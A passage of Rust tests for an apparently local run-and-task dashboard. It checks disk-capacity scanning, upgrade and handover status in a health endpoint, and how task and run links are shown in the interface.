23734                .as_str()
23735                .unwrap()
23736                .contains("nothing restarted"),
23737            "{body:?}"
23738        );
23739    }
23740
23741    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23742        tokio::time::timeout(Duration::from_secs(5), async {
23743            while state.lock().unwrap().in_flight {
23744                tokio::task::yield_now().await;
23745            }
23746        })
23747        .await
23748        .expect("capacity scan finished");
23749    }
23750
23751    fn disk_test_scope(home: &FsPath) -> DiskScope {
23752        DiskScope {
23753            runs: home.join("runs"),
23754            worktrees: home.join("worktrees"),
23755            cache: Some(home.join("cache")),
23756        }
23757    }
23758
23759    fn known_disk_capacity() -> DiskCapacity {
23760        DiskCapacity {
23761            free_bytes: Some(100),
23762            runs_bytes: Some(200),
23763            worktrees_bytes: Some(300),
23764            cache_bytes: Some(400),
23765        }
23766    }
23767
23768    #[tokio::test]
23769    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23770        let home = TempDir::new().unwrap();
23771        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23772        let mut ui = delta_test_ui(home.path());
23773        let state = Arc::get_mut(&mut ui).unwrap();
23774        state.repo = home.path().to_owned();
23775        state.worktrees_root = home.path().join("worktrees");
23776        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23777        ui.monitor
23778            .worker_started
23779            .store(true, std::sync::atomic::Ordering::SeqCst);
23780        let cfg = deputy_config(&ui.repo);
23781        let scope = DiskScope::of(&ui, cfg.as_ref());
23782        let (started, reached) = tokio::sync::oneshot::channel();
23783        let (release, blocked) = std::sync::mpsc::channel();
23784        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23785            started.send(()).unwrap();
23786            blocked.recv().unwrap();
23787            known_disk_capacity()
23788        });
23789        assert!(cold.runs_bytes.is_none());
23790        tokio::time::timeout(Duration::from_secs(5), reached)
23791            .await
23792            .unwrap()
23793            .unwrap();
23794
23795        let requests: Vec<_> = (0..4)
23796            .map(|_| {
23797                let ui = ui.clone();
23798                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23799            })
23800            .collect();
23801        tokio::time::timeout(Duration::from_secs(5), async {
23802            for request in requests {
23803                let view = request.await.unwrap();
23804                let disk = serde_json::to_value(view.disk).unwrap();
23805                assert!(disk["runs_bytes"].is_null());
23806                assert!(disk["worktrees_bytes"].is_null());
23807                // Free space is a cheap live observation even while the
23808                // recursive capacity measurement remains blocked.
23809                assert!(disk["free_bytes"].is_u64());
23810            }
23811        })
23812        .await
23813        .expect("health must return while the measurement is causally blocked");
23814        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23815        // No competing worker can have published while the first holds flight.
23816        assert!(
23817            ui.monitor
23818                .disk
23819                .lock()
23820                .unwrap()
23821                .capacity
23822                .runs_bytes
23823                .is_none()
23824        );
23825        release.send(()).unwrap();
23826        wait_for_disk_scan(&ui.monitor.disk).await;
23827        assert_eq!(
23828            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23829            Some(200)
23830        );
23831    }
23832
23833    #[tokio::test]
23834    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23835        let home = TempDir::new().unwrap();
23836        let scope = disk_test_scope(home.path());
23837        let state = Arc::new(Mutex::new(DiskObservation {
23838            scope: Some(scope.clone()),
23839            capacity: known_disk_capacity(),
23840            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23841            ..Default::default()
23842        }));
23843        let (started, reached) = tokio::sync::oneshot::channel();
23844        let (release, blocked) = std::sync::mpsc::channel();
23845        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23846            started.send(()).unwrap();
23847            blocked.recv().unwrap();
23848            DiskCapacity {
23849                runs_bytes: Some(250),
23850                ..Default::default()
23851            }
23852        });
23853        assert_eq!(before.cache_bytes, Some(400));
23854        tokio::time::timeout(Duration::from_secs(5), reached)
23855            .await
23856            .unwrap()
23857            .unwrap();
23858        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23859        for _ in 0..4 {
23860            let scans = duplicate_scans.clone();
23861            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23862                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23863                DiskCapacity::default()
23864            });
23865            assert_eq!(during.runs_bytes, Some(200));
23866            assert_eq!(during.cache_bytes, Some(400));
23867        }
23868        release.send(()).unwrap();
23869        wait_for_disk_scan(&state).await;
23870        let scans = duplicate_scans.clone();
23871        let after = DiskObservation::observe(&state, scope, move |_| {
23872            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23873            DiskCapacity::default()
23874        });
23875        wait_for_disk_scan(&state).await;
23876        assert_eq!(after.runs_bytes, Some(250));
23877        assert_eq!(after.free_bytes, Some(100));
23878        assert_eq!(after.cache_bytes, Some(400));
23879        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23880        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23881    }
23882
23883    #[tokio::test]
23884    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23885        let home = TempDir::new().unwrap();
23886        let old_scope = disk_test_scope(home.path());
23887        let mut new_scope = old_scope.clone();
23888        new_scope.cache = Some(home.path().join("replacement-cache"));
23889        let state = Arc::new(Mutex::new(DiskObservation {
23890            scope: Some(old_scope.clone()),
23891            capacity: known_disk_capacity(),
23892            ..Default::default()
23893        }));
23894        let (started, reached) = tokio::sync::oneshot::channel();
23895        let (release, blocked) = std::sync::mpsc::channel();
23896        DiskObservation::observe(&state, old_scope, move |_| {
23897            started.send(()).unwrap();
23898            blocked.recv().unwrap();
23899            known_disk_capacity()
23900        });
23901        tokio::time::timeout(Duration::from_secs(5), reached)
23902            .await
23903            .unwrap()
23904            .unwrap();
23905        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23906        let scans = duplicate_scans.clone();
23907        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23908            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23909            DiskCapacity::default()
23910        });
23911        assert!(changed.cache_bytes.is_none());
23912        assert!(changed.runs_bytes.is_none());
23913        release.send(()).unwrap();
23914        wait_for_disk_scan(&state).await;
23915        {
23916            let observation = state.lock().unwrap();
23917            assert!(observation.capacity.cache_bytes.is_none());
23918            assert!(observation.finished.is_none());
23919        }
23920        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23921            assert_eq!(scope, &new_scope);
23922            DiskCapacity {
23923                cache_bytes: Some(999),
23924                ..Default::default()
23925            }
23926        });
23927        wait_for_disk_scan(&state).await;
23928        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23929        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23930    }
23931
23932    #[tokio::test]
23933    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23934        let home = TempDir::new().unwrap();
23935        let scope = disk_test_scope(home.path());
23936        let state = Arc::new(Mutex::new(DiskObservation {
23937            scope: Some(scope.clone()),
23938            capacity: known_disk_capacity(),
23939            ..Default::default()
23940        }));
23941        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23942        wait_for_disk_scan(&state).await;
23943        {
23944            let mut observation = state.lock().unwrap();
23945            assert_eq!(observation.capacity.cache_bytes, Some(400));
23946            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23947            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23948        }
23949        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23950            cache_bytes: Some(450),
23951            ..Default::default()
23952        });
23953        wait_for_disk_scan(&state).await;
23954        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23955    }
23956
23957    #[test]
23958    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23959        let home = TempDir::new().unwrap();
23960        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23961        assert_eq!(disk_capacity_size(home.path()), Some(0));
23962        std::fs::create_dir(home.path().join("nested")).unwrap();
23963        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23964        assert_eq!(disk_capacity_size(home.path()), Some(5));
23965        #[cfg(unix)]
23966        {
23967            // Unix distinguishes an invalid descendant lookup from absence.
23968            assert_eq!(
23969                disk_capacity_size(&home.path().join("nested/data/child")),
23970                None
23971            );
23972        }
23973        #[cfg(unix)]
23974        {
23975            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23976            assert_eq!(disk_capacity_size(home.path()), Some(5));
23977        }
23978    }
23979
23980    #[tokio::test]
23981    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23982        // `mode = "off"` for the same reason as the test above: a default
23983        // fixture repo falls back to `mode = "notify"`, which would make this
23984        // route's new `update` field a live, unauthenticated GitHub call on
23985        // every assertion in this suite that happens to hit `/api/health`.
23986        let repo = TempDir::new().expect("repo dir");
23987        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23988            .expect("write magi.toml");
23989        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23990
23991        let health = fx.get("/api/health").await.json();
23992        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23993        assert_eq!(
23994            health["update"]["available"], false,
23995            "checking is off, which reads as \"unknown\", not \"none\""
23996        );
23997        assert!(health["update"]["to"].is_null());
23998        assert!(
23999            health["upgrade"].is_null(),
24000            "nothing has ever asked this deck to upgrade"
24001        );
24002    }
24003
24004    #[tokio::test]
24005    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24006        let fx = Fixture::start().await;
24007        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24008
24009        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24010        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24011        progress.advance(crate::updater::Stage::Parking);
24012        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24013
24014        let health = fx.get("/api/health").await.json();
24015        assert_eq!(health["upgrade"]["stage"], "parking");
24016        assert_eq!(health["upgrade"]["from"], "0.5.1");
24017        assert_eq!(health["upgrade"]["to"], "0.5.2");
24018        let waiting_on = health["upgrade"]["waiting_on"]
24019            .as_str()
24020            .expect("waiting_on is set while parking a known run");
24021        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24022        assert!(waiting_on.contains("implementing"), "{waiting_on}");
24023    }
24024
24025    #[tokio::test]
24026    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24027        let fx = Fixture::start().await;
24028        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24029        progress.advance(crate::updater::Stage::Done);
24030        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24031
24032        let health = fx.get("/api/health").await.json();
24033        assert_eq!(health["upgrade"]["stage"], "done");
24034        assert!(
24035            health["upgrade"]["waiting_on"].is_null(),
24036            "nothing to wait on once it is done"
24037        );
24038    }
24039
24040    /// The handover signal is seen however the race falls, and wakes its one
24041    /// waiter once per signal - nothing here can spin.
24042    #[tokio::test]
24043    async fn the_handover_signal_wakes_one_waiter_once() {
24044        let signal = Notify::new();
24045        // Signalled before anyone waits: the stored permit is not lost.
24046        signal.notify_one();
24047        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24048            .await
24049            .expect("an early signal is still seen");
24050        // One signal, one wake-up: a second wait does not resolve by itself.
24051        assert!(
24052            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24053                .await
24054                .is_err(),
24055            "a consumed signal must not wake a second time"
24056        );
24057        // Signalled while waiting.
24058        let signal = std::sync::Arc::new(signal);
24059        let waiter = tokio::spawn({
24060            let signal = std::sync::Arc::clone(&signal);
24061            async move { wait_for_handover(&signal).await }
24062        });
24063        tokio::time::sleep(Duration::from_millis(20)).await;
24064        assert!(!waiter.is_finished(), "nothing was signalled yet");
24065        signal.notify_one();
24066        tokio::time::timeout(Duration::from_secs(5), waiter)
24067            .await
24068            .expect("a late signal wakes the waiter")
24069            .expect("join");
24070    }
24071
24072    #[tokio::test]
24073    async fn health_says_how_long_a_handover_has_been_stuck() {
24074        let fx = Fixture::start().await;
24075        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24076        progress.advance(crate::updater::Stage::Replaced);
24077        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24078        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24079
24080        let health = fx.get("/api/health").await.json();
24081        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24082        assert!(stuck >= 600, "{stuck}");
24083        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24084        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24085    }
24086
24087    #[tokio::test]
24088    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24089        let home = tempfile::tempdir().expect("temp home");
24090        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24091        progress.advance(crate::updater::Stage::Parking);
24092        crate::updater::write_progress(home.path(), &progress).expect("seed");
24093        // What the second upgrade_and_restart and its handler do.
24094        let mut again = progress.clone();
24095        again.advance(crate::updater::Stage::Replaced);
24096        crate::updater::write_progress(home.path(), &again).expect("replaced");
24097        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24098        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24099        let after = crate::updater::read_progress(home.path()).expect("record");
24100        assert_eq!(after.stage, crate::updater::Stage::Parking);
24101    }
24102
24103    #[tokio::test]
24104    async fn health_does_not_call_a_live_parking_wait_stuck() {
24105        let fx = Fixture::start().await;
24106        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24107        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24108        progress.advance(crate::updater::Stage::Parking);
24109        let hours = Duration::from_secs(3 * 3600);
24110        progress.started_at = Timestamp::now() - hours;
24111        progress.updated_at = Timestamp::now() - hours;
24112        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24113        let _lease = crate::updater::LeaseGuard::enter(
24114            fx.home.path(),
24115            Some("20260905-000000-cd51".to_owned()),
24116        );
24117
24118        let health = fx.get("/api/health").await.json();
24119        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24120        assert!(health["upgrade"]["stuck_kind"].is_null());
24121        assert_eq!(health["upgrade"]["handover_alive"], true);
24122        let waiting_on = health["upgrade"]["waiting_on"]
24123            .as_str()
24124            .expect("waiting_on");
24125        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24126    }
24127
24128    fn idle_ui(home: &TempDir) -> Ui {
24129        let runs = home.path().join("runs");
24130        std::fs::create_dir_all(&runs).expect("runs dir");
24131        Ui::new(
24132            Queue::at(home.path().join("queue")),
24133            Questions::at(home.path().join("questions")),
24134            Talks::at(home.path().join("talks")),
24135            runs,
24136            home.path().to_path_buf(),
24137            PathBuf::from("/repo/magi"),
24138        )
24139        .with_launch(launch_idle)
24140    }
24141
24142    #[tokio::test]
24143    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24144        let home = TempDir::new().expect("temp home");
24145        let ui = idle_ui(&home);
24146        let lease = crate::worker::try_lease(home.path(), "scheduler")
24147            .expect("scheduler lease")
24148            .expect("free");
24149        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24150            .expect("request stop");
24151        let error = ui
24152            .start_detached_loop()
24153            .await
24154            .expect_err("transition is still live");
24155        assert_eq!(error.status, StatusCode::CONFLICT);
24156        assert!(error.message.contains("still running or stopping"));
24157        assert_eq!(
24158            crate::worker::control(home.path(), "scheduler").unwrap(),
24159            Some(crate::worker::Control::Stop)
24160        );
24161        drop(lease);
24162    }
24163
24164    #[tokio::test]
24165    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24166        let home = TempDir::new().expect("temp home");
24167        let ui = idle_ui(&home);
24168        let turns = ui
24169            .begin_talk_turn("active-chat")
24170            .expect("claim")
24171            .expect("free");
24172        let execution = crate::worker::try_lease(home.path(), "active-task")
24173            .expect("execution lease")
24174            .expect("free");
24175        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24176            .await
24177            .expect("bind loopback");
24178        let address = listener.local_addr().expect("address");
24179        let admissions = Arc::clone(&ui.admissions);
24180        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24181        let successor_started = std::sync::atomic::AtomicBool::new(false);
24182        tokio::time::timeout(
24183            Duration::from_secs(2),
24184            hand_over(home.path(), &admissions, served, || {
24185                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24186                Ok(1)
24187            }),
24188        )
24189        .await
24190        .expect("restart must not wait for execution")
24191        .expect("handover");
24192        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24193        // BSD may retain the address briefly after listener release. The real
24194        // successor uses the same bounded bind retry rather than a one-shot bind.
24195        let successor = bind_waiting(address)
24196            .await
24197            .expect("successor binds released address");
24198        assert_eq!(successor.local_addr().unwrap(), address);
24199        assert!(turns.owns(), "the chat lease survives restart");
24200        assert!(
24201            crate::worker::try_lease(home.path(), "active-task")
24202                .unwrap()
24203                .is_none()
24204        );
24205        drop(execution);
24206        drop(turns);
24207    }
24208
24209    #[tokio::test]
24210    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24211        let home = TempDir::new().expect("temp home");
24212        let ui = idle_ui(&home);
24213        let admission = ui.begin_admission().expect("admit send");
24214        let turn = ui
24215            .begin_talk_turn("active-chat")
24216            .expect("claim")
24217            .expect("free");
24218        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24219            .await
24220            .expect("bind loopback");
24221        let address = listener.local_addr().expect("address");
24222        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24223        let successor_called = std::sync::atomic::AtomicBool::new(false);
24224        let handover = hand_over(home.path(), &ui.admissions, served, || {
24225            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24226            Ok(1)
24227        });
24228        tokio::pin!(handover);
24229        // Poll exactly to the writer waiting on our admission guard. This
24230        // pins the race without sleeps or assumptions about task scheduling.
24231        std::future::poll_fn(|cx| {
24232            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24233            std::task::Poll::Ready(())
24234        })
24235        .await;
24236        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24237        assert!(
24238            ui.begin_admission().is_err(),
24239            "new ingress cannot race the drain"
24240        );
24241        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24242        drop(admission);
24243        tokio::time::timeout(Duration::from_secs(2), handover)
24244            .await
24245            .expect("only publication may delay restart")
24246            .expect("handover");
24247        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24248        assert!(
24249            turn.owns(),
24250            "the detached chat turn is not awaited or cancelled"
24251        );
24252        assert!(
24253            ui.begin_admission().is_err(),
24254            "old accepted connections stay closed"
24255        );
24256        drop(turn);
24257    }
24258
24259    #[test]
24260    fn health_worker_metadata_never_contains_payload_or_result() {
24261        let view = WorkerView::from(crate::worker::Job {
24262            id: "job".into(),
24263            sequence: 1,
24264            kind: "service".into(),
24265            key: "maintenance".into(),
24266            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24267            generation: "generation".into(),
24268            version: Some("1.2.3".into()),
24269            status: crate::worker::Status::Running,
24270            result: Some("private diagnostics".into()),
24271            pid: Some(4242),
24272            created_at: 1,
24273            finished_at: None,
24274        });
24275        let value = serde_json::to_value(view).expect("serialize public metadata");
24276        assert_eq!(value["version"], "1.2.3");
24277        assert_eq!(value["pid"], 4242);
24278        assert!(value.get("payload").is_none());
24279        assert!(value.get("result").is_none());
24280        assert!(!value.to_string().contains("private"));
24281    }
24282
24283    #[test]
24284    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24285        let home = TempDir::new().expect("temp home");
24286        let ui = idle_ui(&home);
24287        std::fs::write(
24288            home.path().join("daemon.json"),
24289            serde_json::json!({
24290                "schema": 2, "pid": 4242, "worker_protocol": 1,
24291                "updated_at": Timestamp::now().to_string(), "idle": true,
24292            })
24293            .to_string(),
24294        )
24295        .expect("status");
24296        let reading = daemon::read_status(home.path());
24297        assert!(Foreign::of(reading.as_ref()).is_none());
24298        let view = ui.runtime_loop_view(reading, &[]);
24299        assert!(view.running);
24300        assert!(view.owned);
24301    }
24302
24303    #[test]
24304    fn only_an_explicit_one_requests_a_resume() {
24305        assert!(!resume_requested(None));
24306        assert!(!resume_requested(Some("0".into())));
24307        assert!(!resume_requested(Some("".into())));
24308        assert!(resume_requested(Some("1".into())));
24309    }
24310
24311    #[test]
24312    fn an_error_is_visible_from_where_the_button_is() {
24313        // The alert used to sit in the flow under the header. On a phone
24314        // scrolled 13 500 px down to a run's action sheet that is off screen,
24315        // so tapping Resume and being told "the loop is running run b455
24316        // right now" looked exactly like a button that did nothing.
24317        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24318            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24319        assert!(
24320            alert.contains("position: fixed"),
24321            "an error about the thing under your thumb has to be visible from \
24322             where your thumb is: {alert}"
24323        );
24324        assert!(
24325            alert.contains("z-index: 25"),
24326            "above the dock (20) and the run-actions FAB (15), so neither \
24327             buries it: {alert}"
24328        );
24329        assert!(
24330            alert.contains("var(--tap)"),
24331            "and clear of the dock and the home indicator: {alert}"
24332        );
24333        // The FAB sits at the same height on the right. An error that covered
24334        // it would hide the button the operator reaches for next.
24335        assert!(
24336            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24337            "the FAB's column stays free: {alert}"
24338        );
24339    }
24340
24341    #[tokio::test]
24342    async fn an_older_attempt_says_what_replaced_it() {
24343        let fx = Fixture::start().await;
24344        let q = fx.queue();
24345        let runs = fx.runs();
24346        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24347        write_run(&runs, first, RunStatus::Stalled);
24348        write_run(&runs, second, RunStatus::Blocked);
24349
24350        let mut t = Task::new(
24351            "one task".to_owned(),
24352            "do it".to_owned(),
24353            PathBuf::from("/repo"),
24354            Source::Human,
24355        );
24356        t.runs = vec![first.to_owned(), second.to_owned()];
24357        q.put(&mut t).expect("put");
24358
24359        // Two cards with the same title and no hint which is which was the
24360        // question: "why are there two of the same, one stalled and one
24361        // blocked?" The older one now names its replacement.
24362        let rows = fx.get("/api/runs").await.json();
24363        let by = |short: &str| -> Value {
24364            rows.as_array()
24365                .unwrap()
24366                .iter()
24367                .find(|r| r["short"] == short)
24368                .cloned()
24369                .unwrap_or(Value::Null)
24370        };
24371        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24372        assert!(
24373            by("bbbb")["superseded_by"].is_null(),
24374            "the latest attempt is not superseded by anything"
24375        );
24376        // Front end: the note has to be rendered, not just carried.
24377        assert!(APP_JS.contains("run.superseded_by"));
24378        assert!(APP_JS.contains("Superseded by"));
24379    }
24380
24381    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24382        let mut t = Task::new(
24383            "one task".to_owned(),
24384            "do it".to_owned(),
24385            PathBuf::from("/repo"),
24386            Source::Human,
24387        );
24388        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24389        t.status = status;
24390        t
24391    }
24392
24393    #[test]
24394    fn source_link_picks_the_page_that_filed_the_task() {
24395        let agent = |node: &str| Source::Agent {
24396            run: "20260904-014455-ab12".to_owned(),
24397            node: node.to_owned(),
24398        };
24399        let chat = source_link(&agent("chat")).expect("chat link");
24400        assert_eq!(chat.kind, "chat");
24401        assert_eq!(chat.id, "20260904-014455-ab12");
24402        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24403        let run = source_link(&agent("implement")).expect("run link");
24404        assert_eq!(
24405            (run.kind, run.href.as_str()),
24406            ("run", "#/runs/20260904-014455-ab12")
24407        );
24408        assert_eq!(source_link(&Source::Human), None);
24409        assert_eq!(
24410            source_link(&Source::Issue {
24411                number: 3,
24412                repo: "o/r".to_owned()
24413            }),
24414            None
24415        );
24416        let odd = source_link(&Source::Agent {
24417            run: "a b/c".to_owned(),
24418            node: "chat".to_owned(),
24419        })
24420        .expect("link");
24421        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24422    }
24423
24424    #[test]
24425    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24426        assert!(
24427            !APP_JS.contains("src.node === \"chat\""),
24428            "inline href rule is back"
24429        );
24430        assert!(
24431            APP_JS.matches("sourceLinkOf(").count() >= 4,
24432            "helper must serve every page"
24433        );
24434        assert!(
24435            APP_JS.matches("openChatLink(").count() >= 3,
24436            "the run page still needs its explicit chat link"
24437        );
24438        assert!(
24439            !APP_JS.contains("const openChat = el("),
24440            "the Queue card duplicates its source label link again"
24441        );
24442        assert!(
24443            APP_JS.contains("metaKids.push(link ? el(\"a\""),
24444            "the task page must link a chat source label too"
24445        );
24446    }
24447
24448    #[test]
24449    fn task_ref_carries_the_source_link_for_a_chat_task() {
24450        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24451        t.source = Source::Agent {
24452            run: "20260904-014455-ab12".to_owned(),
24453            node: "chat".to_owned(),
24454        };
24455        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24456        let v = serde_json::to_value(&out).expect("json");
24457        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24458        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24459        assert_eq!(v["source_label"], t.source.label());
24460
24461        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24462        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24463            .expect("json");
24464        assert!(v["source_link"].is_null(), "{v}");
24465    }
24466
24467    #[test]
24468    fn task_view_serializes_source_link() {
24469        let mut t = Task::new(
24470            "t".to_owned(),
24471            "t".to_owned(),
24472            PathBuf::from("/repo"),
24473            Source::Agent {
24474                run: "20260901-000000-aaaa".to_owned(),
24475                node: "implement".to_owned(),
24476            },
24477        );
24478        t.runs.clear();
24479        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24480        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24481        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24482    }
24483
24484    #[test]
24485    fn task_view_serializes_urgent_flag() {
24486        let mut t = Task::new(
24487            "t".to_owned(),
24488            "t".to_owned(),
24489            PathBuf::from("/repo"),
24490            Source::Human,
24491        );
24492        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24493        assert_eq!(v["urgent"], false, "{v}");
24494        t.urgent = true;
24495        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24496        assert_eq!(v["urgent"], true, "{v}");
24497        assert!(APP_JS.contains("task.urgent === true"));
24498    }
24499
24500    #[tokio::test]
24501    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24502        let fx = Fixture::start().await;
24503        let runs = fx.runs();
24504        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24505        write_run(&runs, old, RunStatus::Blocked);
24506        write_run(&runs, new, RunStatus::Merged);
24507        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24508        fx.queue().put(&mut t).expect("put");
24509
24510        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24511        let task = &view["task"];
24512        assert_eq!(task["status"], "done");
24513        assert_eq!(task["is_latest"], false);
24514        assert_eq!(task["latest"]["short"], "bbbb");
24515        assert_eq!(task["finished_by"]["id"], new);
24516        assert_eq!(task["finished_by"]["outcome"], "merged");
24517        assert_eq!(task["closed_by_hand"], false);
24518        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24519        assert!(APP_JS.contains("finished_by"));
24520        assert!(APP_JS.contains("superseded by run"));
24521    }
24522
24523    #[tokio::test]
24524    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24525        let fx = Fixture::start().await;
24526        let runs = fx.runs();
24527        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24528        write_run(&runs, old, RunStatus::Stalled);
24529        write_run(&runs, new, RunStatus::Blocked);
24530        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24531        fx.queue().put(&mut t).expect("put");
24532
24533        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24534        assert_eq!(task["status"], "held");
24535        assert_eq!(task["is_latest"], true);
24536        assert!(task["latest"].is_null());
24537        assert!(task["finished_by"].is_null());
24538        assert_eq!(task["closed_by_hand"], false);
24539    }
24540
24541    #[tokio::test]
24542    async fn a_direct_run_has_no_task_outcome() {
24543        let fx = Fixture::start().await;
24544        let runs = fx.runs();
24545        let id = "20260901-000000-aaaa";
24546        write_run(&runs, id, RunStatus::Blocked);
24547        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24548        assert!(view["task"].is_null());
24549    }
24550
24551    #[test]
24552    fn task_outcome_does_not_guess_a_finishing_run() {
24553        let a = "20260901-000000-aaaa";
24554        let b = "20260901-000000-bbbb";
24555        let c = "20260901-000000-cccc";
24556        let dir = tempfile::tempdir().expect("tempdir");
24557        write_run(dir.path(), a, RunStatus::Blocked);
24558        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24559        // `c` has no record: unreadable.
24560        let read = |id: &str| read_run(dir.path(), id).ok();
24561        // Neither a blocked run nor a no-op finished the task; the newest run is
24562        // unreadable and still named.
24563        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24564        let out = task_outcome(&t, a, 3, read);
24565        assert!(out.finished_by.is_none());
24566        assert!(out.closed_by_hand);
